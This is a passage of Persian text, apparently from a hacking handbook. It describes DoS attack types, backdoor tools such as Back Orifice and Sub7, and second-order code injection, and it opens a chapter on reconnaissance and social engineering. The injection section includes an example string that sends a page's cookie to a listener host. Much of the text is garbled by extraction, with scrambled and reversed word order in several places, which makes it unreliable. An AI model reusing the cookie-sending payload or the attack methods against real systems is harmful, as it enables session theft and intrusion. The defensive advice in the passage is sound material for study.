برای انجام این نوع حملات از ابزارهای متعددی استفاده می شود که . بدون نياز به اخذ تائيدیه و یا مجوزهای لازم ، صورت می پذیرد 

مدیران شبکه های کامپيوتری می توانند از این نوع ابزارها ، . با کمی حوصله و جستجو در اینترنت می توان به آنان دستيابی پيدا کرد 
در .  تاکنون با اشکال متفاوتی ، محقق شده اند DoSحملات . منظور تست ارتباط ایجاد شده و اشکال زدائی شبکه استفاده نمایند به 

  . ادامه با برخی از آنان آشنا می شویم 
  

·         Smurf/smurfing :  این نوع حملات مبتنی بر تابعReply پروتکل   Internet Control Message 
Protocol) ICMP( بوده و بيشتر با نام،   ping شناخته شده می باشند  ).Ping ابزاری است که پس از فعال ، 

 در این نوع حملات ، مهاجم اقدام به  ) . را فرامی خواندICMP پروتکل  Replyشدن از طریق خط دستور ، تابع 
که در آنان آدرس مبداء هر یک از بسته  شبکه نموده Broadcast به آدرس های Pingارسال بسته های اطلاعاتی 

بدین ترتيب یک ترافيک کاذب در شبکه . شده با آدرس کامپيوتر قربانی ، جایگزین می گردد Pingهای اطلاعاتی 
  . ایجاد و امکان استفاده از منابع شبکه با اختلال مواجه می گردد

·         Fraggle : ز نوعاین نوع از حملات شباهت زیادی با حملات ا  Smurf داشته و تنها تفاوت موجود به استفاده 
 اقدام به  در حملات فوق ، مهاجمان.  ، برمی گردد ICMPدر مقابل ) User Datagram Protocol ) UDPاز 

این نوع از . می نمایند  )   Smurf  مشابه تهاجم (  Broadcast به آدرس های UDPارسال بسته های اطلاعاتی 
  . ، هدایت می گردند ) Chargen ( ١٩و یا پورت  ) echo ( ٧ به مقصد پورت UDPتی بسته های اطلاعا

·         Ping flood :  در این نوع تهاجم ، با ارسال مستقيم درخواست هایPing به کامپيوتر فربانی ، سعی می گردد 
 ، ping of deathق که به در یک نوع خاص از تهاجم فو.  و یا فعاليت آنان کاهش یابد  بلاک  سرویس ها که

، قادر به برخورد ) کامپيوتر قربانی ( معروف است ، اندازه بسته های اطلاعاتی به حدی زیاد می شود که سيستم 
  . مناسب با اینچنين بسته های اطلاعاتی نخواهد بود 

·         SYN flood :  در این نوع تهاجم از مزایایthree-way handshake   مربوط بهTCP استفاده می گردد  .
نموده بدون این  ) synchronization ) SYN گسترده از درخواست های   مجموعه ای سيستم مبداء اقدام به ارسال

 half-open TCP sessionsبدین ترتيب .  آنان را ارسال نماید نهائی) acknowledgment ) ACKکه 
 نمودن پورت ، در انتظار reset ، قبل از TCPه این که پشته با توجه ب. ، ایجاد می گردد ) ارتباطات نيمه فعال (

امکان ایجاد ارتباط " ، سرریز بافر اتصال کامپيوتر مقصد را به دنبال داشته و عملا باقی خواهد ماند ، تهاجم فوق
  . وی با سرویس گيرندگان معتبر ، غير ممکن می گردد 

·          Land  :ای متفاوتی از سيستم های عامل ویندوز ، یونيکس ، مکينتاش و تهاجم فوق، تاکنون در نسخه هIOS 
 TCP/IPدر این نوع حملات ، مهاجمان اقدام به ارسال یک بسته اطلاعاتی . سيسکو،مشاهده شده است 

synchronization ) SYN (پورت های مبداء و مقصد  که دارای آدرس های مبداء و مقصد یکسان به همراه 
بدین ترتيب سيستم قربانی، قادر به پاسخگوئی مناسب بسته .  می نمایند  ، برای سيستم های هدفمشابه می باشد 

  . اطلاعاتی نخواهد بود 
·         Teardrop :  در این نوع حملات از یکی از خصلت هایUDP در پشته TCP/IP  برخی سيستم های عامل )

TCP فوق ، مهاجمان اقدام به ارسال بسته  در حملات. ی گردد، استفاده م) پياده سازی شده در یک سيستم عامل 
.  برای سيستم هدف با مقادیر افست فرد در دنباله ای از بسته های اطلاعاتی می نمایند fragmentedهای اطلاعاتی 

 قطعات ارسال شده   می نماید،fragmented  زمانی که سيستم عامل سعی در بازسازی بسته های اطلاعاتی اوليه
با توجه به عدم برخورد مناسب با مشکل .  روی یکدیگر بازنویسی شده و اختلال سيستم را به دنبال خواهد داشت بر

  .  و یا راه اندازی مجدد می گردد Crashفوق در برخی از سيستم های عامل ، سيستم هدف ، 
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·          Bonk : در .  عامل ویندوز استفاده می نمایند این نوع از حملات بيشتر متوجه ماشين هائی است که از سيستم
 ، می DNS ٥٣ پورت   مخدوش به مقصد  UDP بسته های اطلاعاتی  حملات فوق ، مهاجمان اقدام به ارسال

  .  می نماید Crash   اختلال ایجاد شده و سيستم  بدین ترتيب در عملکرد سيستم نمایند
·         Boink : این نوع از حملات مشابه تهاجمات  Bonk٥٣ پورت  با این تفاوت که در مقابل استفاده از.  می باشند 

  . ، چندین پورت ، هدف قرارمی گيرد 
  

Port Service 
7 Echo 
11 Systat 
15 Netstat 
19 Chargen 
20 FTP-Data 
21 FTP 
22 SSH 
23 Telnet 
25 SMTP 
49 TACACS 
53 DNS 
80 HTTP 
110 POP3 
111 Portmap 

161/162SNMP 
443 HTTPS 
1812 RADIUS 

  DoS پورت های استفاده شده در حملات  متداولترین
  

 ( Distributed DoS می باشد که با نام DoS ، نوع خاص و در عين حال ساده ای از یک حمله DoSیکی دیگر از حملات 
DDoS (به منظور انجام این نوع حملات و از درون یک شبکه    متعددی در این رابطه می توان از نرم افزارهای. می شود  ، شناخته

کاربران ناراضی و یا افرادی که دارای سوء نيت می باشند، می توانند بدون هيچگونه تاثيری از دنيای خارج از . ، استفاده بعمل آورد
  ان نرم افزاری خاص و موسوم بهدر چنين حملاتی ، مهاجم. شيکه سازمان خود ، اقدام به ازکارانداختن سرویس ها در شبکه نمایند

Zombie این نوع نرم افزارها به مهاجمان اجازه خواهد داد که تمام و یا بخشی از سيستم کامپيوتری آلوده را .  می نمایند   را توزیع
تهاجم نهائی خود  ، Zombie با استفاده از نرم افزار نصب شده  مهاجمان پس از آسيب اوليه به سيستم هدف. تحت کنترل خود درآورند

 ماهيت و نحوه انجام این نوع از حملات ، مشابه یک تهاجم استاندارد  . وسيع از ميزبانان انجام خواهند داد را با بکارگيری مجموعه ای
DoSقدرت تخریب و آسيبی که مهاجمان متوجه سيستم های آلوده می نمایند ، متاثر از مجموع ماشين هائی   بوده ولی  )Zombie (  

  .  قرار گرفته شده است  است که تحت کنترل مهاجمان
به منظور حفاظت شبکه ، می توان فيلترهائی را بر روی روترهای خارجی شبکه به منظور دورانداختن بسته های اطلاعاتی مشمول 

 و  )اء از طریق اینترنتمبد(فيلتری دیگر که امکان مشاهده ترافيک  در چنين مواردی می بایست از. ، پيکربندی نمود DoS  حملات
  . یک آدرس داخلی شبکه را فراهم می نماید ، نيز استفاده گردد 

  
  

   Back doorحملات از نوع 
  

Back door برنامه نویسان .  ، برنامه ای است که امکان دستيابی به یک سيستم را بدون بررسی و کنترل امنيتی ، فراهم می نماید
در برنامه ها پيش بينی تا امکان اشکال زدائی و ویرایش کدهای نوشته شده در زمان تست بکارگيری  را  چنين پتانسيل هائی "معمولا

با توجه به این که تعداد زیادی از امکانات فوق ، مستند نمی گردند ، پس از اتمام مرحله تست به همان . نرم افزار ، فراهم گردد
  .نبال خواهند داشت وضعيت باقی مانده و تهدیدات امنيتی متعددی را به د

  :  استفاده می گردد ، عبارتند از back doorبرخی از متداولترین نرم افزارها ئی که از آنان به عنوان 



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٣٤    صفحه

  
·         Back Orifice :  برنامه فوق یک ابزار مدیریت از راه دور می باشد که به مدیران سيستم امکان کنترل یک

   خطرناک است که نرم افزار فوق ، ابزاری. ، خواهد داد) طریق اینترنت   از" مثلا( کامپيوتر را از راه دور 
این نرم افزار دارای دو .  ، ایجاد شده است Cult of the Dead Cow Communicationsتوسط گروهی با نام 
بخش سرویس گيرنده بر روی یک . یک بخش سرویس گيرنده و یک بخش سرویس دهنده : بخش مجزا می باشد 

 اجراء و زمينه مانيتور نمودن و کنترل یک ماشين دیگر که بر روی آن بخش سرویس دهنده اجراء شده است ماشين
  . را فراهم می نماید 

·         NetBus :  این برنامه نيز نظيرBack Orifice امکان دستيابی و کنترل از راه دور یک ماشين از طریق ، 
،  ) ٩٨ و ٩٥ تا NTنسخه های متفاوت از ( ق تحت سيستم عامل ویندوز برنامه فو.. اینترنت را فراهم می نماید

بخشی که بر روی کامپيوتر قربانی مستقر (  سرویس دهنده   بخش :اجراء و از دو بخش جداگانه تشکيل شده است 
) . برنامه ای که مسوليت یافتن و کنترل سرویس دهنده را برعهده دارد (  بخش سرویس گيرنده  و) خواهد شد 

برنامه فوق ، به حریم خصوصی کاربران در زمان اتصال به اینترنت ، تجاوز و تهدیدات امنيتی متعددی را به دنبال 
    .خواهد داشت 

·         Sub7) SubSeven(،  و دارای عملکردی مشابه   این برنامه برنامه نيز تحت ویندوز اجراء شده Back 
Orifice و NetBus فعال شدن برنامه فوق بر روی سيستم هدف و اتصال به اینترنت ،هر پس از .  می باشد

  . شخصی که دارای نرم افزار سرویس گيرنده باشد ، قادر به دستيابی نامحدود به سيستم خواهد بود 
  

 سرویس.  دارای دو بخش ضروری سرویس دهنده و سرویس گيرنده، می باشند Back Orifice  ،NetBus,  Sub7نرم افزارهای 
به نرم .دهنده بر روی ماشين آلوده مستقر شده و از بخش سرویس گيرنده به منظور کنترل از راه دور سرویس دهنده ، استفاده می گردد

  .  گفته می شود  "سرویس دهندگان غيرقانونی " افزارهای فوق ، 
ی که اهداف مخربی دارند ، مورد استفاده قرار برخی از نرم افزارها از اعتبار بالائی برخوردار بوده ولی ممکن است توسط کاربران

  :گيرند 
  

·         Virtual Network Computing)VNC ( : نرم افزار فوق توسط آزمایشگاهAT&T و با هدف کنترل از راه 
 از هر مکانی نظير Desktopبا استفاده از برنامه فوق ، امکان مشاهده محيط . دور یک سيستم ، ارائه شده است 

یکی از ویژگی های جالب این نرم افزار ، حمایت گسترده از معماری های متفاوت است . رنت ، فراهم می گردد اینت
 .  

·         PCAnywhere :  نرم افزار فوق توسط شرکتSymantec با هدف کنترل از راه دور یک سيستم با لحاظ ، 
با توجه به سهولت استفاده از نرم افزار فوق ، شرکت . نمودن فن آوری رمزنگاری و تائيد اعتبار ، ارائه شده است 

  . ها و موسسات فراوانی در حال حاضر از آن و به منظور دستيابی به یک سيستم از راه دور استفاده می نمایند 
·         Terminal Services :  نرم افزار فوق توسط شرکت مایکروسافت و به همراه سيستم عامل ویندوز و به منظور

  . نترل از راه دور یک سيستم ، ارائه شده است ک
  
  

همانند سایر نرم افزارهای کاربردی ، نرم افزارهای فوق را می توان هم در جهت اهداف مثبت و هم در جهت اهداف مخرب 
  . بکارگرفت

  
از نرم افزارهای  ، آموزش کاربران و مانيتورینگ عملکرد هر یک Back doors  بهترین روش به منظور پيشگيری از حملات

از منابع و سایت های مطمئن اقدام به دریافت و نصب نرم افزار " به کاربران می بایست آموزش داده شود که صرفا. موجود می باشد
نصب و استفاده از برنامه های آنتی ویروس می تواند کمک قابل توجهی در بلاک نمودن عملکرد اینچنين . بر روی سيستم خود نمایند 

برنامه های آنتی ویروس می بایست به . را به دنبال داشته باشد  ) Back Orifice, NetBus, and Sub7: نظير ( فزارهائی نرم ا
  .صورت مستمر بهنگام شده تا امکان شناسائی نرم افزارهای جدید ، فراهم گردد 
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 ٥٣٥    صفحه

  حملات تزريق دو مرحله ای ، جديد و خطرناک

  چکيده 
 Web( ، به سمت برنامه های کاربردی تحت وب   ) Code Injection(حمله از طریق تزریق کد بسياری از روشهای 

Application ( مانند دزدیدن اطلاعات جلسه کاری  نشانه رفته اند که بسته به نوع روش مورد استفاده می توانند اعمالی )Session ( 
د که نفوذگر می تواند یک کد مخرب را در یک محل ذخيره کند تا بعدها مواقعی پيش می آی.  را انجام دهندSQLیا اجرای یک دستور 

 از  یک حمله دو مرحله ای. موسوم است  ) Second Order(این روش به حمله دو مرحله ای . بتواند راهی برای اجرای آن پيدا کند
     .عد به آن خواهيم پرداختلحاظ اینکه کد در چه قسمتی ذخيره می شود به چند دسته تقسيم می شود که در قسمت ب

   

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  

  



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٥٣٦    صفحه

  :پيش زمينه 
. در اکثر موارد هدف هکر از تزریق یک کد ، به یک برنامه کاربردی وب ، رسيدن به یک پاسخ سریع از ميزبان مورد حمله است

  :روشهای معمول برای حمله از طریق تزریق کد به شرح زیر می باشند 

  

Html-Embeded :  این حمله از . با استفاده از این نوع حمله ، هکر وانمود می کند که یک صفحه از سایت را دیفيس کرده است
 در مرورگر ا وجود دارد ، نمی توانند به درستی HTMLآنجا ناشی می شود که برنامه کاربردی و یا اشکالاتی که در ترجمه کدهای 

نند و با خطا مواجهه می شوند و این خطا به همراه قسمتی از صفحه اصلی نمایش داده می صفحه درخواستی کاربر را تجزیه و تحليل ک
  .شود و به نظر می آید که صفحه اصلی توسط هکر تغيير کرده است

Cross-Site Scripting:  معمولا برای اجرای یک کد اسکریپتی در سمت کاربر مورد استفاده قرار می گيرد که این کد توسط هکر 
  .ل می شود و برای اهدافی چون سرقت اطلاعات قربانی یا نصب یک تروجان روی کامپيوتر قربانی استفاده می شودکنتر

Sql Injection:  این روش به جای فرستادن اطلاعات توسط یک فرم به سمت سرور ، یک کد sql را می فرستد که می تواند باعث 
 منجر به اجرای یک اسکریپت روی سرور شود که می تواند منجر به آشکار شدن دستيابی غير مجاز به اطلاعات بانک اطلاعاتی یا

  .اطلاعات غير مجاز برای هکر گردد

Buffer Overflow: از این روش .  در این روش هکر ، یک تکه کد خاص را به سمت سرور یا برنامه کاربردی ارسال می کند
  . یا اجرای یک تکه کد خطرناک استفاده می شودDOSنسيل لازم برای یک حمله برای تاثير گذاری روی حافظه برنامه ها و ایجاد پتا

File includes:  یک آسيب پذیری معمول است که اجازه می دهد تا هکر اطلاعات مخربی مثل مسير یک فایل یا متغيير های
  .ی آورد می تواند سيستم را به دست بگيردتنظيماتی سيستم عامل را تغيير دهد و یا با استفاده از اطلاعاتی که از آنها به دست م

  :مسایلی وجود دارد که در یک حمله دخيل می باشند

چه هنگامی حمله در برنامه کاربردی تاثير می گذارد و هکر پاسخ می گيرد ؟ به صورت بی درنگ ، اجرا در پيش زمينه در : زمان 
  زیر پروسه های مختلف 

  شوند ؟ کلاینت ، سرور اصلی یا سرور فرعیدر چه مکانی کدهای تزریق می : موقعيت

  در چه محيطی کدهای تزریقی ، اجرا می شوند ؟ مرورگر مشتری ، ایستگاه کاری مشتری ، کنسول مدیریت: محيط 

   از چه مکانی از برنامه کاربردی کد تزریق می شود؟ فرم تعيين هویت مشتری ، داده های ذخيره شده در پایگاه داده:منبع 

یادی برای تزریق کدها به برنامه های کاربردی وجود دارد که در آنها پس از تزریق کد ، هکر سریعا جواب را دریافت می راههای ز
هکر سریعا  ) Second-order(اما در حملات تزریق دو مرحله ای   .این دسته از حملات را ، حملات یک مرحله ای می ناميم. کند

ه اصلا برای یک یا چند ماهی اصلا هيچ قربانی برای کدهای مخرب خود پيدا نکند و در حالات جوابی دریافت نمی کند و ممکن است ک
دیگر امکان دارد برنامه کاربردی که آسيب پذیر است و اجازه تزریق کد را می دهد همان برنامه های نباشد که مورد حمله واقع می 

  .شود

   

  :مفهوم تزريق کد دو مرحله ای 
کاربردی تحت وب هر روز گسترده تر و پيچيده تر می شود و تمایل زیادی به پردازش اطلاعات فرمها قبل از امروزه برنامه های 

 ها مؤلفه قابل اطمينان باشد هيچ تضمينی وجود ندارد که دیگر مؤلفهحتی اگر اطلاعات برای یک . ارسال به سرور به وجود آمده است
  .نيز از این قانون تبعيت کنند
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 ٥٣٧    صفحه

  : بندی تزريق کد دو مرحله ای دسته

   
١- Frequency-Base Primary Application:   

برای مثال . این دسته شامل برنامه هایی است که درخواستهای کلاینت ها را با استفاده از مدلهای استاتيک دوباره پردازش می کنند
پيدا کردن آخرین مقاله در « ای معمول کاربران را مبنی بر  درخواسته  را انتخاب می کنند و یا  جستجوی متناوب ١٠برنامه هایی که 
حمله از این روش معمولا دیگر کاربران برنامه اصلی را نيز . را پاسخ می دهند» پيشنهاد دیگر در همين مورد«یا » فلان موضوع 

  .هدف قرار می دهند

   

٢- Frequency-Base Secondary Application:   

یی است که در ابتدا کد تزریقی دریافت نمی کنند ولی در عوض عملياتی از یک برنامه کاربردی را پردازش این گروه شامل برنامه ها
مثال این گروه شامل برنامه ای است که درخواستهای وب یا فایلهای ثبت خطا . می کنند که این کار بصورت استاتيک انجام می پذیرد

  .را استخراج می کنند... و یا " متداولترین عبارات جستجو "یا "  ین مرورگر وبمتداولتر"را بررسی می کنند و اطلاعاتی مانند 

  . را هدف قرار می دهدAdminحمله از این روش معمولا کاربران 

   

٣-Secondary Support Application:   

این برنامه ها اغلب اطلاعات . داین دسته شامل برنامه هایی است که بصورت داخلی برای پشتيبانی از برنامه های اصلی بکار می رو 
مشخص شده بوسيله برنامه های کاربردی اوليه را دستکاری می کنند یا نمایش می دهند و اغلب اطلاعاتی را که باید حفاظت شود را 

ا این در اغلب موارد برنامه های ثانویه برای نگهداری یا نمایش اطلاعات ارسال شده از کاربر بکار می رود ت. تضمين می کنند
 و از خط تلفن برای Help-Deskمثال این دسته شامل برنامه هایی است که از . اطلاعات فقط توسط کلاینت یا مالک آن قابل دیدن باشد

  .بروز کردن اطلاعات مشتری استفاده می کنند

مانند تلفن .  اجتماعی آميخته شود معمولا برنامه های کاربران داخلی را تهدید می کند و گاه ممکن است با مهندسی حمله با این روش
آیا شما می توانيد آنرا .به نظر می رسد که آدرس من اشتباه است و من نمی توانم آنرا تغيير دهم"کردن به قسمت پشتيبانی و گفتن اینکه 

  ..."برای من تغيير دهيد

   

۴-Casscaded Submission Application:   

. است که استفاده چند کلاینت از یک پردازه را امکان پذیر می کند) رنامه های بحرانی هستندکه بيشتر ب(این گروه شامل برنامه هایی 
 برنامه ای که کاربر را مجبور به ساختن یک اکانتی شامل آدرس کاربر می کند که آدرس برای عمليات برنامه استفاده می  برای مثال
" افرادی که در دانشگاه من درس می خوانند  " Sql کردن افرادی که عبارت یا پيدا" پيدا کردن نزدیکترین مکان به من "  شود مانند

  .در مورد آنها صدق می کند و نتيجه حمله معمولا روی پایگاه داده انتهایی می باشد

   

  :محلهای ذخيره سازی 

برای .  را مشخص می کندکدهای تزریق شده ممکن است به روشهای مختلفی ذخيره شوند و تکنيک ذخيره شدنشان معمولا نوع حمله
  : محل موجود است ٣ذخيره کد معمولا 

١- Temporary Storage : جستجوی قبلی برنامه و سایر اطلاعات ذخيره شده  برای مثال )Data Cached(   

٢-Short-Term Storage: می برای مثال اطلاعات ذخيره شده در یک لاگ روزانه یا هفتگی که هر از چند گاهی نگاهی به آنان 
  .شود

٣-Long-Term Storage: اطلاعات در بانکهای دائمی ذخيره می شود که حذف آنها بایستی بصورت دستی انجام گيرد.  

  .برای درک موضوع مثال هایی بيان می شود که در مقاله بعدی آنها را شرح می دهيم
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 ٥٣٨    صفحه

بطور (ترکيب شده برای حمله  URL فرستادن یک با. طبيعت تزریق کدهای معمولی به گونه ای است که خيلی راحت قابل کشف هستند
د    و) مثال وجود عبارتی شبيه به  انيزه در می آی رای . دیدن پاسخ سرور ، پروسه کشف آسيب پذیری به صورت مک ه های تحت     ب برنام

ال  ( کد شده انجام می دهند ، فرستادن چند صد نوع از رشته های وبی که عمل تست امنيت و کپسوله سازی کد های تزریقی را رای مث  ب
ار شود   می تواند منجر به کشف آسب پذیری ( a003c% با ">" جایگزین کردن کاراکتر رای     . به شکل خودک از طرف دیگر ، تست ب

ه ای  ده              تشخيص تزریق کد دو مرحل شخيص دهن ه های ت سخه برنام ه آخرین ن رای آن ب سيار مشکل است و ممکن است ب از داشته    ب ني
د کمی مشکل      د روشهای تزریق دو مرحله ای، توليد برنامهبه دليل تعد. باشيم ای که بتواند همه آسيب پذیری های موجود را بررسی کن
ان لازم و   : کشف اتوماتيک  ١-٣. است ل زم ه دلي د سختی است      کشف اتوماتيک تزریق دو مرحله ای ب ای متغييرش فرآین رای  . مکانه ب

ن مشکلات ابزارهای    د    غلبه بر ای ند     اتوماتيک بای ر را داشته باش ه     -١: خواص زی ند ک ن قابليت را داشته باش ه روشهای      ای د هم بتوانن
ه عقب        در داخل هر داده ارسالی یک-٢معمول را پشتيبانی کنند  د بازگشت ب ا بتوان ه   (Back Tracking) متغيير وجود داشته باشد ت ب

د   -٣. ته باشدبردار حمله یکتا ، زمان رویداد ، مکان درج یا سورس کد را داش یک ثلا  (بتواند همان حمله را مکررا ارسال کن ا  ١٠٠م  ت
ای   ( Spydering ) توانایی نگاشت-۴) بندی برنامه  بار بسته به پيکر١٠٠٠٠ ه تحت وب در زمانه رای کشف هر      یک برنام مختلف ب

ه       گونه صفحات تغيير یافته شامل اطلاعات ارسالی قبلی یک وق را ب د وظایف ف ه بتوان ار      برنامه ک ابی هر چه ایی ردی رد توان دوش بگي
ه های کلاس       . از تزریق کدهای نامبرده را دارد دسته ابی بعضی از گون رای ردی ده        ٣و٢ب ده یک سرویس گوش دهن ه تست کنن  برنام

(Listener) ر نظر داشته باشد    ) از یک ساعت تا حتی یک هفته (درخواستها را برای مدتی  داشته باشد تا بتواند د   .زی ن  بطور ای ه آل ای
 شنونده ثبت درخواستهای بعدی مرورگر برای منابعی است که امضای حمله دو هدف از این سرویس. برنامه بایستی تحت اینترنت باشد

   : شبيه به این داشته باشد برای مثال بعضی از کدهای اتوماتيک ممکن است شکلی. مرحله ای ناميده می شود
  

Src=http://watcher.example.com/test.htm?sig=677823676&coockie=%20+%20Docu 
  

ment.coockie که در آن watcher    مکان سرویس شنونده و sig       ه رای امضای حمل ا ب ر یکت اریخ ،ساعت    (است   یک متغيي شامل ت
ای دستی  ٢-٣) ،محل درج و اطلاعات درج شونده  ذیر           :  تکنيکه رای کشف آسيب پ ه ب ای کشف اتوماتيک حمل ه تکنيکه ی در حالی ک

د  بکار می ن آسيب        .روند به نظر می رسد روشهای دستی روش جامع تر و سریع تری بحساب می آین شتر از کشف ای ان بي رای اطمين ب
ان -1 : پذیری ها متخصصان امنيت بایستی تست موجود می     مطمئن باشند که دیاگرامهای شبکه و شمای جریان داده های برنامه در زم

 بصورت دستی برنامه های ثانویه پشتيبانی -٣. بزرگ بایستی چک شوند ه سازی برنامه ائم از کوچک و تمامی محلهای ذخير-٢. باشند
وژی پشت صحنه و پروسه های دستی         درک کامل-۴. برای دسترسی به داده های ذخيره شده استفاده می شود ، چک کنند را که تکنول

ه         ساخ-۵. بکار می روند که برای نمایش یا دستکاری اطلاعات ابی هر گون ایی ردی ا توان ده ب ه    ت یک سرویس گوش دهن درخواستی ک
ه آن    این سرویس باید در داخل. سيستم های آسيب پذیر توليد می کنند وان ب یکی از قسمتهای اساسی سازمان باشد و از همه نقاط شبکه بت

د        رروندی که برای محافظت د: محافظت در برابر تزریق کد دو مرحله ای . داشت  دسترسی ا وجود دارد همانن ه ه وع حمل ن ن برابر ای
دازیم        . است) مرحله ای تزریق کد یک(حمله نوع کلاسيک  د رعایت شوند نگاهی می ان ه بای ه داده    -1 : در اینجا به اصولی ک هرگز ب

ال  های کاربر را سعی کنيد که در طرف کلاینت انجام  کار تست داده-٢. های ارسالی از طرف کاربر اطمينان نکنيد  ندهيد چرا که احتم
د       کار تست را از-٣. بنابر این کار را به طرف سرور محول کنيد. وجود دارد شکست ا را بررسی کني اراکتر ه ابتدا آغاز کنيد و همه ک

ای خطر باشد ولی برای مولفه   به خاطر داشته باشيد که یک داده ممکن است برای مولفه ای بی-۴مطمئن شوید  و از بی خطر بودنشان
د        هر برنامه ای-۵. دیگر هيچ تضمينی وجود ندارد ابی می کن اربر را بازی ا را     (که اطلاعات ک اربر آنه ه ک ایی را ک  بخصوص داده ه

ایی   -۶. به پردازش آنها کنيد را بایستی ابتدا عمل پاکسازی را روی آن انجام دهد سپس شروع) وارد می کند  بطور ایده آل باید پروسه ه
ردازش شده در داخل و خارج از        یبرای اعتبارسنج ام اطلاعات پ ه تم ا امن هستند     استفاده شوند تا مطمئن شویم ک ه ه ئن  -٧. مولف مطم

د          شوید که کارمندان شما پاکسازی و تصحيح داده   رده ان ه های خود رعایت ک ام مولف اربر را در تم يد  -٨. های ک ئن باش ابزارهای   مطم
الا   :  احتمال حمله ١-۴. هستند و بروز شده اند  مزاحمت و دیواره آتش نصبحفاظتی مثل آنتی ویروسها ، سيستمهای کشف وارد ب اگر م

د -١: احتمال بروز حمله کم می شود که این در نتيجه عوامل زیر است  را رعایت کنيد انی        تزریق ک ی معمول است و زم کلاسيک خيل
ا    کم بودن امنيت ***  تزریق کد یک مرحله ای -٢. استاحتمال وقوع آن خيلی کم  که با تزریق دو مرحله ای مقایسه می شود ه ه برنام

د *** در دنيا  ه     . را نشان می ده انی ک ا زم ه           در-٣... در نتيجه ت د بصورت کورکوران ه ای بای د دو مرحل ق ک وارد تزری سياری از م ب
ه     .انجام شود دون هيچگون رده ، ب ستم، جستجویی را     اطلا برای مثال نفوذگر برای کشف نقاط ضعف موجود در پشت پ ی از سي عات قبل

بسياری از   این یک حقيقت است که-۴. نيست که آیا کارش موفقيت آميز خواهد بود یا خير  آغاز می کند و حتی خود نفوذگر هم مطمئن
را       حمله ها ساعتها ، روزها یا حتی هفته ها بطول بيانجامد و هکر ه ف ق اولي ه تحقي ه را ک ام می   احتمالا سایر بردارهای حمل هم آورده تم

ابی          انتظار می رود در آینده احتمال وقوع حمله هایی از این دست بيشتر شود چون کند ه ردی د ک ایی رانصب می کنن ستم ه سازمانها سي
ه   بعلاوه توانایی ارسال کدهای حم .این سيستمها نمی توانند حملات پيچيده کد دو مرحله ای را ردیابی کنند آنها بهتر انجام می شود و ه ب ل

ه        برنامه long-term یا short-term حافظه ذیر است ک ه امکان پ رای حمل ی ب ن یک    به این معنی است که جستجوی یک برنامه قبل ای
اثرات این نوع حمله بسيار بيشتر از حملات تک مرحله ای است   : اثرات این نوع حمله. ایده آل برای مجرمان حرفه ای بشمار می رود

رین   ه مهمت ر است    دلایلش   ک ه های      -١: بصورت زی شتر برنام ه بي ن حمل شتيبانی از محيط می باشد     و admin  هدف ای  قابليت  -٢. پ
ل  دان مشتری     دستيابی به منابع غير فنی مث شتيبانی کارمن ان       -٣پ ر روی یک ميزب ذاری ب اثير گ رای ت سيل ب ی سازمان     پتان ثلا (داخل  م

help-desk رای           تجویقابليت برای جس-۴) و بانکهای اطلاعاتی ی ب ه قبل د حمل ا ک ه ب ره سازی داده های برنام ای ذخي  exploit محله
ه شده   : خطرات تجارت  کردن ه ای آميخت د       ریسکهای تجارت با آسيب پذیری های کد دو مرحل ابی را مشکل می کن ن ارزی د و ای در . ان
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ه دو   در. معمولا خيلی زیاد است exploit به خودی خود کم است ، اثرات exploit حالی که در حال حاضر احتمال موفقيت حقيقت حمل
د سال         . تجارت محسوب می شود   مرحله ای یک خطر رو به گسترش برای جامعيت داده ها و ادامه ن خطر در چن ه نظر می رسد ای ب

پرده پيچيده تر می  که سيستمهای پشت  از طرفی از آنجایی. اقزایش دارد و ابزارها و تکنيکها سعی در کاهش آن دارند آینده روند رو به
 .گيرند ، راه برای حمله آماده تر می شود شوند و داده های بيشتری را بکار می
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  !!این اولين گام است و هدف ما همان آشنایی با هدف است تا بعد ببينيم چه کار ميشود کرد : اهداف 
  

 . آموری اطلاعات اوليه از هدف جمع  : منهفصل  
  

 .روش مخ ترکانی  
 .جستجو در وب  
  .DNSاستفاده از  
 :معرفی برنامه های مربوطه  

  
  .Sam Spadeمعرفی و آموزش  
  .NET Infoمعرفی و آموزش  
  .W-SPing Pro Packمعرفی و آموزش  
  .Rhino 9 Pingerمعرفی و آموزش  
  .Visual Routeمعرفی و آموزش  
  .Necrofoft آموزش معرفی و 

 
 .نقشه برداری گرافيکی از شبکه هدف  
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  :مقدمه گام اول هک 
  

د   " آبراهام لينکن   !!" هميشه قبل از حمله این کار انجام ميشود        ی را در مدت               : ميگوی رار باشد درخت ان چه ق نم ،       ۶چن  ۴ ساعت قطع ک
د           مثل تمام   .!!! ساعت نخست آن را صرف تيز کردن تبر خواهم کرد          يم و بع اره هدف اطلاعات جمع آوری ميکن کارها اول یک کم درب

ایين و                          سيار پ شروع به حمله می کنيم یک هکر خوب هيچ وقت بدون مقدمه و کور، را کور به هدف حمله نميکند چون احتمال موفقيت ب
  .بته پرهزینه هميشه بدانيد که این مرحله بسيار طولانی بوده و بسيار پر اهميت و ال. خطر ها بسيار است

 تصور کنيد که در یک ميدان نبرد واقعی هستيد و حال  گونهاگر خواستيد بدانيد شناسایی مقدماتی هدف به چه معنی است و یعنی چه این          
ا ، ادوات ، مهمات و           دست  ... چگونه ميتوان بدون آگاهی از موقعيت جغرافيایی و محل استقرار نيروهای دشمن و آگاهی از حجم نيروه

  ! زنده ماند  البته و مهمتر از همهحمله موفقيت آميز زد وبه 
د   دربار م تا به حال ده ها و شاید صدها فيل         نشما هم مثل م    ده ای اره آن بانک        .ه سرقت از بانک دی دون داشتن اطلاعاتی درب  یک سارق ب

وم    .ميتواند موفق باشدچگونه ... مثل راههای فرار دوربين ها سيستم دزد گر و موقعيت زنگ ها تعداد کارمندان و     د از درک مفه حال بع
  .مورد نظر ميرسيم به اصل مطلب

  
  گام اول 

  
  :راههای شناسايی مقدماتی شبکه هدف 

  
  !!!  روش مخ  تر کانی -١
  . دسترسی به شبکه -٢
  . جستجو در وب  به دنبال اطلاعات شبکه هدف -٣
    .DNS گرفتن اطلاعات از سيستم -۴
  .طه  نرم افزارهای مربو-۵
  ... و-۶
  
  :  روش مخ  تر کانی -١
  

